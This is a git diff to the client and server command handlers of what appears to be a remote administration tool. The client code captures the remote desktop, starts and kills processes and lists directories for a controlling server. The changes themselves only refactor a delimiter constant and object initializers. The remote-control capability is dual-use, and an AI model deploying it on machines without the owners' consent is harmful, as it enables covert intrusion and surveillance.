diff --git a/Client/Core/Commands/CommandHandler.cs b/Client/Core/Commands/CommandHandler.cs index 5d628e8c..c549708a 100644 --- a/Client/Core/Commands/CommandHandler.cs +++ b/Client/Core/Commands/CommandHandler.cs @@ -30,6 +30,7 @@ public static class CommandHandler private const int MOUSEEVENTF_LEFTUP = 0x04; private const int MOUSEEVENTF_RIGHTDOWN = 0x08; private const int MOUSEEVENTF_RIGHTUP = 0x10; + private const string DELIMITER = "$E$"; public static void HandleInitializeCommand(Packets.ServerPackets.InitializeCommand command, Client client) { @@ -221,7 +222,7 @@ public static void HandleRemoteDesktop(Packets.ServerPackets.Desktop command, Cl } else { - Bitmap currentDesktopScreenshot = Helper.Helper.GetDesktop(command.Mode, command.Number); + Bitmap currentDesktopScreenshot = Helper.Helper.GetDesktop(command.Mode, command.Number); using (Bitmap changesScreenshot = Helper.Helper.GetDiffDesktop(LastDesktopScreenshot, currentDesktopScreenshot)) { LastDesktopScreenshot = currentDesktopScreenshot; @@ -266,9 +267,7 @@ public static void HandleKillProcess(Packets.ServerPackets.KillProcess command, public static void HandleStartProcess(Packets.ServerPackets.StartProcess command, Client client) { - ProcessStartInfo startInfo = new ProcessStartInfo(); - startInfo.UseShellExecute = true; - startInfo.FileName = command.Processname; + ProcessStartInfo startInfo = new ProcessStartInfo {UseShellExecute = true, FileName = command.Processname}; Process.Start(startInfo); HandleGetProcesses(new Packets.ServerPackets.GetProcesses(), client); @@ -301,7 +300,7 @@ public static void HandleDirectory(Packets.ServerPackets.Directory command, Clie } if (files.Length == 0) { - files = new string[] { "$$$EMPTY$$$$" }; + files = new string[] { DELIMITER }; filessize = new long[] { 0 }; } @@ -312,13 +311,13 @@ public static void HandleDirectory(Packets.ServerPackets.Directory command, Clie i++; } if (folders.Length == 0) - folders = new string[] { "$$$EMPTY$$$$" }; + folders = new string[] { DELIMITER }; new Packets.ClientPackets.DirectoryResponse(files, folders, filessize).Execute(client); } catch { - new Packets.ClientPackets.DirectoryResponse(new string[] { "$$$EMPTY$$$$" }, new string[] { "$$$EMPTY$$$$" }, new long[] { 0 }).Execute(client); + new Packets.ClientPackets.DirectoryResponse(new string[] { DELIMITER }, new string[] { DELIMITER }, new long[] { 0 }).Execute(client); } } diff --git a/Server/Core/Commands/CommandHandler.cs b/Server/Core/Commands/CommandHandler.cs index 1057c3d6..75ad40e5 100644 --- a/Server/Core/Commands/CommandHandler.cs +++ b/Server/Core/Commands/CommandHandler.cs @@ -12,6 +12,8 @@ namespace xServer.Core.Commands { public static class CommandHandler { + private const string DELIMITER = "$E$"; + public static void HandleInitialize(Client client, Initialize packet, FrmMain mainForm) { if (client.EndPoint.Address.ToString() == "255.255.255.255") @@ -36,11 +38,15 @@ public static void HandleInitialize(Client client, Initialize packet, FrmMain ma string country = string.Format("{0} [{1}]", client.Value.Country, client.Value.CountryCode); // this " " leaves some space between the flag-icon and the IP - ListViewItem lvi = new ListViewItem(new string[] { " " + client.EndPoint.Address.ToString(), client.EndPoint.Port.ToString(), client.Value.Version, "Connected", "Active", country, client.Value.OperatingSystem, client.Value.AccountType }); - lvi.Tag = client; - lvi.ImageIndex = packet.ImageIndex; + ListViewItem lvi = + new ListViewItem(new string[] + { + " " + client.EndPoint.Address.ToString(), client.EndPoint.Port.ToString(), client.Value.Version, + "Connected", + "Active", country, client.Value.OperatingSystem, client.Value.AccountType + }) {Tag = client, ImageIndex = packet.ImageIndex}; - mainForm.Invoke((MethodInvoker)delegate + mainForm.Invoke((MethodInvoker)delegate { mainForm.lstClients.Items.Add(lvi); }); @@ -209,7 +215,7 @@ public static void HandleDirectoryResponse(Client client, DirectoryResponse pack { for (int i = 0; i < packet.Folders.Length; i++) { - if (packet.Folders[i] != "$$$EMPTY$$$$") + if (packet.Folders[i] != DELIMITER) { ListViewItem lvi = new ListViewItem(new string[] { packet.Folders[i], "", "Directory" }); lvi.Tag = "dir"; @@ -233,7 +239,7 @@ public static void HandleDirectoryResponse(Client client, DirectoryResponse pack { for (int i = 0; i < packet.Files.Length; i++) { - if (packet.Files[i] != "$$$EMPTY$$$$") + if (packet.Files[i] != DELIMITER) { ListViewItem lvi = new ListViewItem(new string[] { packet.Files[i], Helper.Helper.GetFileSize(packet.FilesSize[i]), "File" }); lvi.Tag = "file";